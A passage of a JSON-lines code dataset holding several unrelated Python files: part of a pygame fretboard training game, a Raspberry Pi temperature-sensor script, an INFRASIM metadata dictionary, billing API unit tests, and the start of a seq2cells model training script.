(BOARD_Y, BOARD_X) == (5, 8):\n                        KEY_2 = 1\n                        KEY_3 = 1\n                elif TONE == 2: # hC\n\n                    if (BOARD_Y, BOARD_X) == (1, 1):\n                        KEY_1 = 1\n                    elif (BOARD_Y, BOARD_X) == (2, 5):\n                        KEY_2 = 1\n                    elif (BOARD_Y, BOARD_X) == (3, 10):\n                        KEY_3 = 1\n                elif TONE == 3: # hhC     \n                    \n                    if (BOARD_Y, BOARD_X) == (0, 8):\n                        KEY_1 = 1\n                        KEY_2 = 1\n                        KEY_3 = 1\n                elif TONE == 4: # D\n\n                    if (BOARD_Y, BOARD_X) == (3, 0):\n                        KEY_1 = 1\n                    elif (BOARD_Y, BOARD_X) == (4, 5):\n                        KEY_2 = 1\n                    elif (BOARD_Y, BOARD_X) == (5, 10):\n                        KEY_3 = 1\n                elif TONE == 5: # hD\n\n                    if (BOARD_Y, BOARD_X) == (1, 3):\n                        KEY_1 = 1\n                    elif (BOARD_Y, BOARD_X) == (2, 7):\n                        KEY_2 = 1\n                        KEY_3 = 1\n                elif TONE == 6: # hhD\n\n                    if (BOARD_Y, BOARD_X) == (0, 10):\n                        KEY_1 = 1\n                        KEY_2 = 1\n                        KEY_3 = 1\n                elif TONE == 7: # lE\n                    if (BOARD_Y, BOARD_X) == (5, 0):\n                        KEY_1 = 1\n                        KEY_2 = 1\n                        KEY_3 = 1\n                elif TONE == 8: # E\n\n                    if (BOARD_Y, BOARD_X) == (3, 2):\n                        KEY_1 = 1\n                    elif (BOARD_Y, BOARD_X) == (4, 7):\n                        KEY_2 = 1\n                        KEY_3 = 1\n                elif TONE == 9: # hE\n\n                    if (BOARD_Y, BOARD_X) == (0, 0):\n                        KEY_1 = 1\n                    elif (BOARD_Y, BOARD_X) == (1, 5):\n                        KEY_2 = 1\n                    elif (BOARD_Y, BOARD_X) == (2, 9):\n                        KEY_3 = 1\n                elif TONE == 10: # lF\n\n                    if (BOARD_Y, BOARD_X) == (5, 1):\n                        KEY_1 = 1\n                        KEY_2 = 1\n                        KEY_3 = 1\n                elif TONE == 11: # F\n\n                    if (BOARD_Y, BOARD_X) == (3, 3):\n                        KEY_1 = 1\n                    elif (BOARD_Y, BOARD_X) == (4, 8):\n                        KEY_2 = 1\n                        KEY_3 = 1\n                elif TONE == 12: # hF\n\n                    if (BOARD_Y, BOARD_X) == (0, 1):\n                        KEY_1 = 1\n                    elif (BOARD_Y, BOARD_X) == (1, 6):\n                        KEY_2 = 1\n                    elif (BOARD_Y, BOARD_X) == (2, 10):\n                        KEY_3 = 1\n                elif TONE == 13: # lG\n\n                    if (BOARD_Y, BOARD_X) == (5, 3):\n                        KEY_1 = 1\n                        KEY_2 = 1\n                        KEY_3 = 1\n                elif TONE == 14: # G\n\n                    if (BOARD_Y, BOARD_X) == (2, 0):\n                        KEY_1 = 1\n                    if (BOARD_Y, BOARD_X) == (3, 5):\n                        KEY_2 = 1\n                    if (BOARD_Y, BOARD_X) == (4, 10):\n                        KEY_3 = 1\n                elif TONE == 15: # hG\n\n                    if (BOARD_Y, BOARD_X) == (0, 3):\n                        KEY_1 = 1\n                    elif (BOARD_Y, BOARD_X) == (1, 8):\n                        KEY_2 = 1\n                        KEY_3 = 1\n                elif TONE == 16: # lA\n\n                    if (BOARD_Y, BOARD_X) == (4, 0):\n                        KEY_1 = 1 \n                    elif (BOARD_Y, BOARD_X) == (5, 5):\n                        KEY_2 = 1\n                        KEY_3 = 1\n                elif TONE == 17: # A\n               \n                    if BOARD_X == 7:\n                        KEY_1 = 1\n                 \n                    elif (BOARD_Y, BOARD_X) == (2, 2):\n                        KEY_2 = 1\n                        KEY_3 = 1\n                elif TONE == 18: # hA\n\n                    if (BOARD_Y, BOARD_X) == (1, 10):\n                         KEY_1 = 1\n                    elif (BOARD_Y, BOARD_X) == (0, 5):\n                        KEY_2 = 1\n                        KEY_3 = 1\n                elif TONE == 19: # lB\n\n                    if (BOARD_Y, BOARD_X) == (4, 2):\n                        KEY_1 = 1 \n                    elif (BOARD_Y, BOARD_X) == (5, 7):\n                        KEY_2 = 1\n                        KEY_3 = 1\n                elif TONE == 20: # B\n\n                    if (BOARD_Y, BOARD_X) == (1, 0):\n                        KEY_1 = 1\n                    elif (BOARD_Y, BOARD_X) == (2, 4):\n                        KEY_2 = 1\n                    elif (BOARD_Y, BOARD_X) == (3, 9):\n                        KEY_3 = 1\n                elif TONE == 21: # hB\n\n                    if (BOARD_Y, BOARD_X) == (0, 7):\n                        KEY_1 = 1\n                        KEY_2 = 1\n                        KEY_3 = 1\n\n                KEYNUM = KEY_1 + KEY_2 + KEY_3\n                if KEYNUM > L_KEYNUM:\n                    STRCOLOR[BOARD_Y] = RIGHT_COLOR\n                    L_KEYNUM = KEYNUM\n                elif KEYNUM == L_KEYNUM:\n                    if STRCOLOR[BOARD_Y] != RIGHT_COLOR:\n                        STRCOLOR[BOARD_Y] = WRONG_COLOR\n\n                if KEY_1 * KEY_2 * KEY_3 == 1 and LIMIT_TIME > 0:\n                    SCORE += 1\n                    TIMES += 1\n                    STRINGS() # 让黄色再保持0.5秒\n                    ARROWHEADPOS()\n                    pygame.display.update()\n                    time.sleep(0.5)\n                    KEY_1 = KEY_2 = KEY_3 = 0\n                    LIMIT_TIME = 5 * FPS\n                    TIME_COLOR = [70, 86, 114]\n                    L_KEYNUM = KEYNUM = 0\n                    for i in range(7):\n                        STRCOLOR[i] = BLUE\n        \n        if LIMIT_TIME <= 0:\n            TIMES += 1\n            KEY_1 = KEY_2 = KEY_3 = 0\n            LIMIT_TIME = 5 * FPS\n            TIME_COLOR = [70, 86, 114]\n            L_KEYNUM = KEYNUM = 0\n            for i in range(7):\n                STRCOLOR[i] = BLUE\n\n        LIMIT_TIME -= 1\n        TIME_COLOR[0] += 0.6\n        TIME_COLOR[1] -= 0.1\n        TIME_COLOR[2] -= 0.1\n        #计时器\n\n        if(STRCOLOR[0] == WRONG_COLOR):\n\n            TM1 += 1\n            if TM1 == 20:\n                STRCOLOR[0] = BLUE\n                TM1 = 0\n        if(STRCOLOR[1] == WRONG_COLOR):\n\n            TM2 += 1\n            if TM2 == 20:\n                STRCOLOR[1] = BLUE\n                TM2 = 0\n        if(STRCOLOR[2] == WRONG_COLOR):\n\n            TM3 += 1\n            if TM3 == 20:\n                STRCOLOR[2] = BLUE\n                TM3 = 0\n        if(STRCOLOR[3] == WRONG_COLOR):\n\n            TM4 += 1\n            if TM4 == 20:\n                STRCOLOR[3] = BLUE\n                TM4 = 0\n        if(STRCOLOR[4] == WRONG_COLOR):\n\n            TM5 += 1\n            if TM5 == 20:\n                STRCOLOR[4] = BLUE\n                TM5 = 0\n        if(STRCOLOR[5] == WRONG_COLOR):\n\n            TM6 += 1\n            if TM6 == 20:\n                STRCOLOR[5] = BLUE\n                TM6 = 0\n        if TIMES == 20:\n            break\n        pygame.display.update()\n        fpsClock.tick(FPS)\n\n#def EXIT_INTERFACE():\n\ndef NUMBER_FACTORY(choice):\n\n    D_BOARD = [0 for col in range(21)]\n    G_BOARD = [[0 for col in range(3)]for row in range(7)]\n    num = 1\n    if choice == EIGHTDEGREE:\n        \n        for row in range(7):\n            for col in range(3):\n                G_BOARD[row][col] = num\n                num += 1\n            random.shuffle(G_BOARD[row])\n        random.shuffle(G_BOARD)\n        G_BOARD = list(_flatten(G_BOARD))\n    return (G_BOARD)\n\n    if choice == DEVILMODE:\n        for i in range(21):\n            D_BOARD[i] = num\n            num += 1\n        rangdom.shuffle(D_BOARD)\n    return (D_BOARD)\n\ndef ARROWHEADPOS():\n \n    mouse_x, mouse_y = pygame.mouse.get_pos()\n    X = mouse_x - 10 # (740 - 720) / 2\n    Y = mouse_y - 200 # 200 = 图1 + 图2\n    row = 6\n    col = 12\n    if X > 0 and X < 720:\n        if Y > 0 and Y < 180:\n            row = Y / 30 #游戏板上的位置\n            col = X / 60\n            ARROWHEAD_RECT.center = ((30 + 60 * int(col) + 10), (-30 + 30 * int(row) + 200))\n            DISPLAYSURF.blit(ARROWHEAD, ARROWHEAD_RECT)\n \n    return(int(row), int(col))\n\ndef STRINGS():\n    # 弦\n    WSTRING = 8\n    pygame.draw.line(DISPLAYSURF, STRCOLOR[0], (0, 200), (740, 200), WSTRING)\n    pygame.draw.line(DISPLAYSURF, STRCOLOR[1], (0, 230), (740, 230), WSTRING)\n    pygame.draw.line(DISPLAYSURF, STRCOLOR[2], (0, 260), (740, 260), WSTRING)\n    pygame.draw.line(DISPLAYSURF, STRCOLOR[3], (0, 290), (740, 290), WSTRING)\n    pygame.draw.line(DISPLAYSURF, STRCOLOR[4], (0, 320), (740, 320), WSTRING)\n    pygame.draw.line(DISPLAYSURF, STRCOLOR[5], (0, 350), (740, 350), WSTRING)\ndef FRETWIRE():\n    # 品柱\n    WFRET = 4\n    pygame.draw.line(DISPLAYSURF, (58, 74, 102), (70, 200), (70, 350), 15)\n    pygame.draw.line(DISPLAYSURF, BLUE, (130, 200), (130, 350), WFRET)\n    pygame.draw.line(DISPLAYSURF, BLUE, (190, 200), (190, 350), WFRET)\n    pygame.draw.line(DISPLAYSURF, BLUE, (250, 200), (250, 350), WFRET)\n    pygame.draw.line(DISPLAYSURF, BLUE, (310, 200), (310, 350), WFRET)\n    pygame.draw.line(DISPLAYSURF, BLUE, (370, 200), (370, 350), WFRET)\n    pygame.draw.line(DISPLAYSURF, BLUE, (430, 200), (430, 350), WFRET)\n    pygame.draw.line(DISPLAYSURF, BLUE, (490, 200), (490, 350), WFRET)\n    pygame.draw.line(DISPLAYSURF, BLUE, (550, 200), (550, 350), WFRET)\n    pygame.draw.line(DISPLAYSURF, BLUE, (610, 200), (610, 350), WFRET)\n    pygame.draw.line(DISPLAYSURF, BLUE, (670, 200), (670, 350), WFRET)\n    pygame.draw.line(DISPLAYSURF, BLUE, (730, 200), (730, 350), WFRET)\n\ndef TONE_SYMBOL(times):\n    \n    tone = GAME_LIST[times]\n    the_tone = 'C'\n    the_number = 4\n    if tone >= 1 and tone <= 3:\n        the_tone = 'C'\n        the_number = tone + 3\n    elif tone >= 4 and tone <= 6:\n        the_tone = 'D'\n        the_number = tone  \n    elif tone >= 7 and tone <= 9:\n        the_tone = 'E'\n        the_number = tone - 4\n    elif tone >= 10 and tone <= 12:\n        the_tone = 'F'\n        the_number = tone - 7\n    elif tone >= 13 and tone <= 15:\n        the_tone = 'G'\n        the_number = tone - 10\n    elif tone >= 16 and tone <= 18:\n        the_tone = 'A'\n        the_number = tone - 13\n    elif tone >= 19 and tone <= 21:\n        the_tone = 'B'\n        the_number = tone - 16\n    return (the_tone, the_number)\ndef DRAW_CIRCLE():\n\n    pygame.draw.circle(DISPLAYSURF, YELLOW, (220, 275), 9, 0)\n    pygame.draw.circle(DISPLAYSURF, GREEN, (340, 275), 9, 0)\n    pygame.draw.circle(DISPLAYSURF, ORANGE, (460, 275), 9, 0)\n    pygame.draw.circle(DISPLAYSURF, BLUE_GREEN, (580, 275), 9, 0)\nif __name__ == \"__main__\":\n\n    main()\n","repo_name":"stupid-hentai-boy/My_Code","sub_path":"FINGER_BOARD/FINGER_BOARD.pyw","file_name":"FINGER_BOARD.pyw","file_ext":"pyw","file_size_in_byte":17224,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"74280110160","text":"\nimport math\nimport busio\nimport digitalio\nimport board\nimport adafruit_mcp3xxx.mcp3008 as MCP\nfrom adafruit_mcp3xxx.analog_in import AnalogIn\nimport threading\nimport datetime\nimport time\nimport RPi.GPIO as GPIO\nwait=10\nGPIO.setmode(GPIO.BCM)\nsampRate =26\ndef setup():\n    GPIO.setup(15, GPIO.IN, pull_up_down = GPIO.PUD_UP)\n    GPIO.add_event_detect(15,GPIO.FALLING, callback=change, bouncetime=200)\ndef change(channel):\n    dict ={10: 5,5: 1,1: 10}\n    global wait\n    if GPIO.event_detected(channel):\n       print(\"button pressed\")\n       wait=dict[wait]\ndef print_time_thread():\n    \"\"\"\n    This function prints the time to the screen every five seconds\n    \"\"\"\n    start_time = time.process_time()\n    thread = threading.Timer(wait, print_time_thread)\n    thread.daemon = True  # Daemon threads exit when the program does\n    thread.start()\n    output_string= str(math.trunc(start_time))+\"s\"\n    spi = busio.SPI(clock=board.SCK, MISO=board.MISO, MOSI=board.MOSI)\n    cs = digitalio.DigitalInOut(board.D5)\n    mcp = MCP.MCP3008(spi, cs)\n    chan = AnalogIn(mcp, MCP.P1)\n    temp= round(((1000*chan.voltage)-500)/10)\n    print('{:10}'.format(output_string),'{:10}'.format(str(chan.value)),'{:10}'.format(temp),\"C\")\n    #print(datetime.datetime.now())\n    #spi = busio.SPI(clock=board.SCK, MISO=board.MISO, MOSI=board.MOSI)\n    #cs = digitalio.DigitalInOut(board.D5)\n    #mcp = MCP.MCP3008(spi, cs)\n    #chan = AnalogIn(mcp, MCP.P1)\n    #print(\"Raw ADC Value: \", chan.value)\n    #print(\"ADC Voltage: \" + str(chan.voltage) + \"V\")\n\n\nif __name__ == \"__main__\":\n    print(\"Runtime    Temp Reading      Temp\")\n    setup()\n    print_time_thread() # call it once to start the thread\n    # Tell our program to run indefinitely\n    while True:\n        pass\n","repo_name":"thatboytads/Prac5","sub_path":"Prac5.py","file_name":"Prac5.py","file_ext":"py","file_size_in_byte":1750,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"12463865473","text":"'''\n    metainfo.py\n        Meta-data associated with the INFRASIM model\n\n    @amanmajid\n'''\n\nmetainfo = {\n            'i_field'               : 'from_id',\n            'j_field'               : 'to_id',\n            'cost_column'           : 'length',\n            'upper_bound'           : 'max',\n            'lower_bound'           : 'min',\n            'nodes_header'          : ['id','asset_type','subtype','title','capacity'],\n            'edges_header'          : ['id','from_id','to_id','length','min','max'],\n            'flow_header'           : [],\n            'edge_index_variables'  : ['from_id','to_id','timestep'],\n            'infrasim_cache'        : '../data/__infrasim__/',\n            'outputs_figures'       : '../outputs/figures/',\n            'outputs_data'          : '../outputs/statistics/',\n            'temporal_resolution'   : 'daily'\n            }\n","repo_name":"nismod/JEM","sub_path":"jem/meta.py","file_name":"meta.py","file_ext":"py","file_size_in_byte":874,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"29062397497","text":"# -*- coding: utf-8 -*-\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import unicode_literals\n\nfrom future import standard_library\n\nstandard_library.install_aliases()\n\nimport pytest\nimport datetime\nimport http.client as http\nimport hamcrest as hm\nfrom decimal import Decimal as D\n\nfrom balance import constants as cst, mapper\n\nfrom brest.core.tests import security\nfrom yb_snout_api.tests_unit.base import TestCaseApiAppBase\n# noinspection PyUnresolvedReferences\nfrom yb_snout_api.tests_unit.fixtures.client import create_client, create_agency, create_role_client\n# noinspection PyUnresolvedReferences\nfrom yb_snout_api.tests_unit.fixtures.manager import create_manager\n# noinspection PyUnresolvedReferences\nfrom yb_snout_api.tests_unit.fixtures.permissions import create_admin_role, create_role\nfrom yb_snout_api.tests_unit.fixtures.resource import mock_client_resource\n\n\n@pytest.fixture(name='create_req_role')\ndef create_create_req_role():\n    return create_role(\n        (\n            cst.PermissionCode.CREATE_REQUESTS_SHOP,\n            {cst.ConstraintTypes.firm_id: None, cst.ConstraintTypes.client_batch_id: None},\n        ),\n    )\n\n\nclass TestCaseCreateRequest(TestCaseApiAppBase):\n    BASE_API = '/v1/invoice/create-request'\n\n    @pytest.mark.smoke\n    def test_base(self, client):\n        docs_dt = (datetime.datetime.now() + datetime.timedelta(66)).replace(microsecond=0)\n\n        params = {\n            'client_id': client.id,\n            'firm_id': cst.FirmId.YANDEX_OOO,\n            'documents_dt': docs_dt.strftime('%Y-%m-%dT%H:%M:%S'),\n            'raw_order_data': [\n                {\n                    'product_id': cst.DIRECT_PRODUCT_ID,\n                    'quantity': '1.56',\n                    'discount': '10.5',\n                    'memo': 'абыр',\n                    'order_client_id': client.id,\n                },\n                {\n                    'product_id': cst.DIRECT_PRODUCT_RUB_ID,\n                    'quantity': '30.3333',\n                    'discount': '20.6',\n                    'memo': 'валг',\n                    'order_client_id': client.id,\n                },\n            ],\n        }\n        response = self.test_client.secure_post_json(self.BASE_API, params)\n        hm.assert_that(response.status_code, hm.equal_to(http.OK))\n\n        request_id = response.get_json()['data']['request_id']\n        request = self.test_session.query(mapper.Request).getone(request_id)\n\n        hm.assert_that(\n            request,\n            hm.has_properties(\n                client_id=client.id,\n                desired_invoice_dt=docs_dt,\n                firm_id=cst.FirmId.YANDEX_OOO,\n                rows=hm.contains_inanyorder(\n                    hm.has_properties(\n                        quantity=D('1.56'),\n                        u_discount_pct=D('10.5'),\n                        discount_pct=0,\n                        order=hm.has_properties(\n                            service_id=cst.ServiceId.ONE_TIME_SALE,\n                            manager_code=None,\n                            client_id=client.id,\n                            agency_id=None,\n                            service_code=cst.DIRECT_PRODUCT_ID,\n                            text='абыр',\n                        ),\n                    ),\n                    hm.has_properties(\n                        quantity=D('30.3333'),\n                        u_discount_pct=D('20.6'),\n                        discount_pct=0,\n                        order=hm.has_properties(\n                            service_id=cst.ServiceId.ONE_TIME_SALE,\n                            manager_code=None,\n                            client_id=client.id,\n                            agency_id=None,\n                            service_code=cst.DIRECT_PRODUCT_RUB_ID,\n                            text='валг',\n                        ),\n                    ),\n                ),\n            ),\n        )\n\n    @pytest.mark.permissions\n    @pytest.mark.parametrize(\n        'perm_firm_id, match_client, ans',\n        [\n            pytest.param(None, True, http.OK, id='wo firm_id'),\n            pytest.param(cst.FirmId.YANDEX_OOO, True, http.OK, id='right firm'),\n            pytest.param(cst.FirmId.DRIVE, True, http.FORBIDDEN, id='wrong firm'),\n            pytest.param(cst.FirmId.YANDEX_OOO, False, http.FORBIDDEN, id='wrong client_id'),\n        ],\n    )\n    def test_perms_ok(self, client, admin_role, create_req_role, perm_firm_id, match_client, ans):\n        client_batch_id = create_role_client(client=client if match_client else None).client_batch_id\n        roles = [\n            admin_role,\n            (create_req_role, {cst.ConstraintTypes.firm_id: perm_firm_id, cst.ConstraintTypes.client_batch_id: client_batch_id}),\n        ]\n        security.set_roles(roles)\n\n        response = self.test_client.secure_post_json(\n            self.BASE_API,\n            {\n                'client_id': client.id,\n                'firm_id': cst.FirmId.YANDEX_OOO,\n                'raw_order_data': [\n                    {\n                        'product_id': cst.DIRECT_PRODUCT_ID,\n                        'quantity': 1,\n                        'discount': 10,\n                        'memo': 'абыр',\n                        'order_client_id': client.id,\n                    },\n                ],\n            },\n        )\n        hm.assert_that(response.status_code, hm.equal_to(ans))\n\n    def test_nobody(self, client, admin_role):\n        security.set_roles([admin_role])\n        response = self.test_client.secure_post_json(\n            self.BASE_API,\n            {\n                'client_id': client.id,\n                'firm_id': cst.FirmId.YANDEX_OOO,\n                'raw_order_data': [\n                    {\n                        'product_id': cst.DIRECT_PRODUCT_ID,\n                        'quantity': 1,\n                        'discount': 10,\n                        'memo': 'абыр',\n                        'order_client_id': client.id,\n                    },\n                ],\n            },\n        )\n        hm.assert_that(response.status_code, hm.equal_to(http.FORBIDDEN))\n\n    @pytest.mark.permissions\n    @mock_client_resource('yb_snout_api.resources.v1.invoice.routes.create_request.CreateRequest')\n    def test_owner(self, client):\n        security.set_roles([])\n        security.set_passport_client(client)\n\n        response = self.test_client.secure_post_json(\n            self.BASE_API,\n            {\n                'client_id': client.id,\n                'firm_id': cst.FirmId.YANDEX_OOO,\n                'raw_order_data': {\n                    'product_id': cst.DIRECT_PRODUCT_ID,\n                    'quantity': 1,\n                    'discount': 10,\n                    'memo': 'абыр',\n                    'order_client_id': client.id,\n                },\n            },\n            is_admin=False,\n        )\n        hm.assert_that(response.status_code, hm.equal_to(http.FORBIDDEN))\n\n    def test_agency(self, agency, client):\n        client.agency = agency\n        self.test_session.flush()\n\n        response = self.test_client.secure_post_json(\n            self.BASE_API,\n            {\n                'client_id': agency.id,\n                'firm_id': cst.FirmId.YANDEX_OOO,\n                'raw_order_data': [\n                    {\n                        'product_id': cst.DIRECT_PRODUCT_ID,\n                        'quantity': 1,\n                        'discount': 10,\n                        'memo': 'абыр',\n                        'order_client_id': client.id,\n                    },\n                ],\n            },\n        )\n        hm.assert_that(response.status_code, hm.equal_to(http.OK))\n\n        request_id = response.get_json()['data']['request_id']\n        request = self.test_session.query(mapper.Request).get(request_id)\n        hm.assert_that(\n            request,\n            hm.has_properties(\n                client_id=agency.id,\n                rows=hm.contains_inanyorder(\n                    hm.has_properties(\n                        order=hm.has_properties(\n                            client_id=client.id,\n                            agency_id=agency.id,\n                        ),\n                    ),\n                ),\n            ),\n        )\n\n    def test_manager(self, client, manager):\n        response = self.test_client.secure_post_json(\n            self.BASE_API,\n            data={\n                'client_id': client.id,\n                'manager_code': manager.manager_code,\n                'firm_id': cst.FirmId.YANDEX_OOO,\n                'raw_order_data': {\n                    'product_id': cst.DIRECT_PRODUCT_ID,\n                    'quantity': 1,\n                    'discount': 10,\n                    'memo': 'абыр',\n                    'order_client_id': client.id,\n                },\n            },\n        )\n        hm.assert_that(response.status_code, hm.equal_to(http.OK))\n\n        request_id = response.get_json()['data']['request_id']\n        request = self.test_session.query(mapper.Request).get(request_id)\n        hm.assert_that(\n            request,\n            hm.has_properties(\n                client_id=client.id,\n                rows=hm.contains_inanyorder(\n                    hm.has_properties(\n                        order=hm.has_properties(\n                            manager=manager,\n                        ),\n                    ),\n                ),\n            ),\n        )\n\n    @pytest.mark.parametrize(\n        'raw_order_data, error_msg',\n        [\n            pytest.param(cst.SENTINEL, 'REQUIRED_FIELD_VALIDATION_ERROR', id='require'),\n            pytest.param(None, 'EMPTY_FIELD_VALIDATION_ERROR', id='null'),\n            pytest.param([], 'RANGE_FIELD_VALIDATION_ERROR', id='length'),\n        ],\n    )\n    def test_wo_rows(self, client, raw_order_data, error_msg):\n        params = {\n            'client_id': client.id,\n            'firm_id': cst.FirmId.YANDEX_OOO,\n        }\n        if raw_order_data is not cst.SENTINEL:\n            params['raw_order_data'] = raw_order_data\n        response = self.test_client.secure_post_json(self.BASE_API, params)\n        hm.assert_that(response.status_code, hm.equal_to(http.BAD_REQUEST))\n\n        hm.assert_that(\n            response.get_json(),\n            hm.has_entries({\n                'error': 'FORM_VALIDATION_ERROR',\n                'description': 'Form validation error.',\n                'form_errors': hm.has_entries({\n                    'raw_order_data': hm.contains(hm.has_entries({'error': error_msg})),\n                }),\n            }),\n        )\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"billing/tests_unit/resources/v1/invoice/test_invoice_create_request.py","file_name":"test_invoice_create_request.py","file_ext":"py","file_size_in_byte":10582,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"31888958030","text":"import logging\nimport os\nimport sys\n\nimport pytorch_lightning as pl\nimport yaml\nfrom omegaconf import OmegaConf\nfrom pytorch_lightning.callbacks import (\n    LearningRateMonitor,\n    ModelCheckpoint,\n    StochasticWeightAveraging,\n)\nfrom pytorch_lightning.callbacks.early_stopping import EarlyStopping\nfrom pytorch_lightning.loggers import TensorBoardLogger\nfrom torch.utils.data import DataLoader\n\nfrom seq2cells.data.enformer_tss_based import AnnDataEmbeddingTssDataset\nfrom seq2cells.models.embedding2target import Embedding2Target, EnformerTrunk\n\n# for debugging\nlogger = logging.getLogger(__name__)\n\nif __name__ == \"__main__\":\n\n    # load config ==============================\n    # Overwrite CLI args\n    cli_config = OmegaConf.from_cli()\n    with open(cli_config.config_file, \"r\") as f:\n        config = yaml.safe_load(f)\n    config = OmegaConf.to_object(OmegaConf.merge(config, cli_config))\n\n    # debug?\n    if config[\"debug\"]:\n        logging.basicConfig(level=logging.INFO)\n\n    # pre asserts ==============================\n    assert config[\"task\"][\"input\"][\"input_type\"] in [\n        \"embeddings\",\n        \"sequence\",\n    ], \"No valid input_type selected!\"\n\n    # Prep data ================================\n    # set up training and validation dataset according to task\n    if config[\"task\"][\"input\"][\"input_type\"] == \"embeddings\":\n        train_data = AnnDataEmbeddingTssDataset(\n            ann_in=config[\"data\"][\"dataset\"][\"ann_data_file\"],\n            data_split=\"train\",\n            split_name=config[\"data\"][\"dataset\"][\"split_name\"],\n            subset_genes_col=config[\"task\"][\"input\"][\"subset_genes_column\"],\n            use_layer=config[\"data\"][\"dataset\"][\"use_layer\"],\n            backed_mode=config[\"resource\"][\"backed_mode\"],\n        )\n        valid_data = AnnDataEmbeddingTssDataset(\n            ann_in=config[\"data\"][\"dataset\"][\"ann_data_file\"],\n            data_split=\"valid\",\n            split_name=config[\"data\"][\"dataset\"][\"split_name\"],\n            subset_genes_col=config[\"task\"][\"input\"][\"subset_genes_column\"],\n            use_layer=config[\"data\"][\"dataset\"][\"use_layer\"],\n            backed_mode=config[\"resource\"][\"backed_mode\"],\n        )\n        if config[\"test\"][\"test_on\"] != \"test\":\n            test_data = AnnDataEmbeddingTssDataset(\n                ann_in=config[\"data\"][\"dataset\"][\"ann_data_file\"],\n                data_split=\"test\",\n                split_name=config[\"data\"][\"dataset\"][\"split_name\"],\n                subset_genes_col=config[\"task\"][\"input\"][\"subset_genes_column\"],\n                use_layer=config[\"data\"][\"dataset\"][\"use_layer\"],\n                backed_mode=config[\"resource\"][\"backed_mode\"],\n            )\n\n    elif config[\"task\"][\"input\"][\"input_type\"] == \"sequence\":\n        logger.error(\"Sequence input type not implemented for AnnData \" \"workflow yet.\")\n        sys.exit()\n\n    # Seed and device settings ===========================\n    pl.utilities.seed.seed_everything(config[\"seed\"])\n\n    # if only running testing skip many steps\n    if config[\"optimization\"][\"run_train\"]:\n        # set up checkpoint saving ==================\n        # combine a model tag with characterizing hparams\n        model_tag = (\n            f\"{config['saving']['tb_log_prefix']}_\"\n            f\"bs_{config['data']['loader']['batch_size']}_\"\n            f\"drop_{config['optimization']['dropout_prob']}_\"\n            f\"lr_{config['optimization']['optimizer']['lr']}_\"\n            f\"wd_{config['optimization']['optimizer']['weight_decay']}_\"\n            f\"we_{config['optimization']['scheduler']['warmup_epochs']}_\"\n            f\"lrs_{config['optimization']['optimizer']['lr_schedule']}\"\n        )\n        if not os.path.exists(config[\"saving\"][\"head_dir\"]):\n            os.mkdir(config[\"saving\"][\"head_dir\"])\n        ckpt_dir = os.path.join(\n            config[\"saving\"][\"head_dir\"], config[\"saving\"][\"checkpoint_dir\"], model_tag\n        )\n        if not os.path.exists(ckpt_dir):\n            os.makedirs(ckpt_dir)\n        # save config copy to checkpoint path\n        OmegaConf.save(config=config, f=os.path.join(ckpt_dir, \"config_hparams.yml\"))\n\n        # set up the checkpoint callback\n        filename_string = (\n            \"{epoch}-{valid_corr_across_tss:.3f}\"\n            + \"-{valid_corr_across_celltypes:.3f}-{val_loss:.3f}\"\n        )\n\n        checkpoint_callback = ModelCheckpoint(\n            dirpath=ckpt_dir,\n            save_top_k=3,\n            monitor=\"valid_corr_across_celltypes\",\n            filename=filename_string,\n            mode=\"max\",\n            auto_insert_metric_name=True,\n        )\n        # early stopping\n        early_stop_callback = EarlyStopping(\n            monitor=\"valid_corr_across_celltypes\",\n            min_delta=0.001,\n            patience=5,\n            verbose=False,\n            mode=\"max\",\n        )\n\n        # Setup Tensorboard logging ==========================\n        # create tensorboard log dir if not present\n        tb_log_dir = os.path.join(\n            config[\"saving\"][\"head_dir\"], config[\"saving\"][\"tb_log_dir\"], model_tag\n        )\n        if not os.path.exists(tb_log_dir):\n            os.makedirs(tb_log_dir)\n        logger.info(f\"Saving tensorboard logs under {tb_log_dir}/{model_tag}\")\n        tb_logger = TensorBoardLogger(save_dir=tb_log_dir, name=model_tag)\n\n        # Set up LearningRateMonitor =========================\n        lr_monitor = LearningRateMonitor(logging_interval=\"step\")\n\n    # LOAD / BUILD A MODEL==================================\n    # Load an existing model ==============================\n    if config[\"model\"][\"load_trained_model\"]:\n        # Load an existing model\n        logger.info(\"Loading existing model model:\")\n        assert os.path.exists(\n            config[\"model\"][\"model_path\"]\n        ), f\"{config['model']['model_path']} does not exists!\"\n        model = Embedding2Target.load_from_checkpoint(\n            config[\"model\"][\"model_path\"],\n            loss=config[\"optimization\"][\"loss\"],\n            learning_rate=config[\"optimization\"][\"optimizer\"][\"lr\"],\n            lr_schedule=config[\"optimization\"][\"optimizer\"][\"lr_schedule\"],\n            lr_warmup_epochs=config[\"optimization\"][\"scheduler\"][\"warmup_epochs\"],\n            lr_max_epochs=config[\"optimization\"][\"epochs\"],\n            optimizer=config[\"optimization\"][\"optimizer\"][\"optimizer\"],\n            weight_decay=config[\"optimization\"][\"optimizer\"][\"weight_decay\"],\n            dropout_prob=config[\"optimization\"][\"dropout_prob\"],\n            softplus=config[\"model\"][\"softplus\"],\n            target_is_log=config[\"task\"][\"target\"][\"log_target_in\"],\n            log_train=config[\"task\"][\"target\"][\"log_transform_train\"],\n            log_validate=config[\"task\"][\"target\"][\"log_transform_validate\"],\n            std_validate=config[\"task\"][\"target\"][\"std_validate\"],\n            rel_weight_gene=config[\"optimization\"][\"rel_weights_gene\"],\n            rel_weight_cell=config[\"optimization\"][\"rel_weights_cell\"],\n            pears_norm_mode=config[\"optimization\"][\"pears_norm_mode\"],\n            train_eval=config[\"resource\"][\"run_train_eval\"],\n        )\n        logger.info(model)\n    else:\n        # OR Construct the model ================================\n        # If using a head on pre-computed embeddings/targets ===\n        if config[\"task\"][\"input\"][\"input_type\"] == \"embeddings\":\n            model = Embedding2Target(\n                emb_dim=config[\"task\"][\"input\"][\"emb_dim\"],\n                target_dim=len(train_data[0][1]),\n                loss=config[\"optimization\"][\"loss\"],\n                learning_rate=config[\"optimization\"][\"optimizer\"][\"lr\"],\n                lr_schedule=config[\"optimization\"][\"optimizer\"][\"lr_schedule\"],\n                